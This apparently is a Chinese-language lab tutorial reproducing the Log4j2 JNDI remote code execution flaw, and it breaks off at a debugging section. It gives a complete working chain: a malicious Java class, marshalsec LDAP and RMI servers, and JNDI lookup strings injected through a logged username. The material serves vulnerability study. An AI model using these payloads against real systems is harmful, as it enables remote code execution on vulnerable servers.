声明
好好学习,天天向上
漏洞简述
Apache Log4j2是一个基于Java的日志记录框架。正常情况下,开发者可能会将错误信息写入日志中,可以利用此特点构造特殊的数据请求包,最终触发远程代码执行RCE漏洞。Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
影响范围:Apache Log4j 2.x<=2.14.1
漏洞原理
log4j2是一个日志工具,说白了就是打印日志的,就比如打印一些web日志,用户访问日志,程序执行日志这种,传统上日志打印一般是打印本机日志,就像windows的event只打印本系统的日志,log4j2中的lookup功能下的JNDI Lookup模块,这个模块允许远程打印日志,也就是去请求远程服务器上的程序,去打印其日志,并且对远程处理这个过程没有做校验,那如果是远程去获取正常程序从而打印日志,当然没问题,如果是攻击者提供的一个恶意程序,那么就会解析并执行恶意代码。
在JNDI支持的众多协议中,只有LDAP和RMI存在远程代码执行。
过程大概为:攻击者通过LDAP/RMI开放了恶意的代码(LDAP/RMI地址),攻击者引诱开发人员(log4j2)去打印LDAP/RMI的地址,那么自然就会找到攻击者的恶意代码,从而执行
漏洞复现
使用IDEA+log4j2 1.14.1
创建maven项目,项目名字自定义
创建好后,将log4j引入
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
LDAP
创建类Log4jStudy能成功输入日志就说明环境没问题了,不要忘了reload(项目上右键->maven->reload project)
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jStudy {
public static final Logger logger = LogManager.getLogger(Log4jStudy.class);
public static void main(String[] args){
logger.error("123");
}
}
我们来做一个准备,这个复现过程需要一个marshalsec-0.0.3-SNAPSHOT-all.jar,这个源码在
https://github.com/mbechler/marshalsec
将源码拉下来后,通过maven可以打成jar包
mvn clean package -DskipTests
打包成功后,在target中可以找到打好的包
有了这个工具就可以利用这个漏洞了
创建一个叫做POC的类,目标执行calc调出计算器
import java.io.IOException;
public class POC {
public POC() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var2) {
var2.printStackTrace();
}
}
}
把这个POC编译成class
通过python或者其他web站点都行,对外开放站点,要让对外的可以访问到这个POC.class,我这里的端口是10000
python -m http.server 10000
再让刚刚编译好的marshalsec-0.0.3-SNAPSHOT-all.jar工具,开放一个ldap服务,这个服务访问刚刚的10000站点的POC.class,然后这个服务的端口是10001
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:10000/#POC" 10001
最后,创建一个主类Log4jRCE,通过log4j打印日志的方式,来调用10001上的ldap服务
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jRCE {
public static final Logger logger = LogManager.getLogger(Log4jRCE.class);
public static void main(String[] args){
logger.error("${jndi:ldap://localhost:10001/Payload}");
}
}
RMI
原理都一样,我们还是先构造一个恶意类EvilObj,用于最终的代码执行
package rmi;
import java.io.IOException;
public class EvilObj {
static {
System.out.println("开始执行恶意代码");
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
再构造一个RMIServer,用于把上面那个恶意类通过RMI开放出去
package rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
// 启动rmi服务,端口使用默认的1099
LocateRegistry.createRegistry(1099);
Registry registy = LocateRegistry.getRegistry();
// 创建资源为rmi.EvilObj
Reference reference = new Reference("rmi.EvilObj", "rmi.EvilObj", null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
//绑定资源到evil,需要受害者进行访问${jndi:rmi://192.168.2.99/evil}
registy.bind("evil", referenceWrapper);
System.out.println("RMI服务初始化完成");
} catch (Exception e) {
e.printStackTrace();
}
}
}
我们只需要启动这个类就好,至此,攻击方的准备工作已经完毕
最后,就是触发的地方,我们假设有个功能类Log4jRCE,这个类是把用户输入的用户名直接通过log4j进行日志打印,这个功能在实际开发中很常见,比如用户登录日志不就得记录用户名吗,或者登录失败超过一定次数等等
这个类是获取用户的键盘输入,然后打印,我们直接输入我们的“用户名”:${jndi:rmi://192.168.2.99/evil}
package rmi;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.Scanner;
public class Log4jRCE {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args){
System.out.println("开始攻击");
//创建一个扫描器对象,用于接收键盘数据
Scanner scanner = new Scanner(System.in);
//next方式接收字符串(不可以接收空格)
System.out.println("请输入您的用户名:");
//判断用户还有没有输入字符
if (scanner.hasNext()) {
// String username = "${jndi:rmi://192.168.2.99/evil}";
String username = scanner.next();
logger.error("记录一次用户的用户名 : " + username + "\n");
}
scanner.close();
}
}
直接通过RMIServer的RMI协议访问了EvilObj,从而执行了calc
漏洞跟踪
打开debug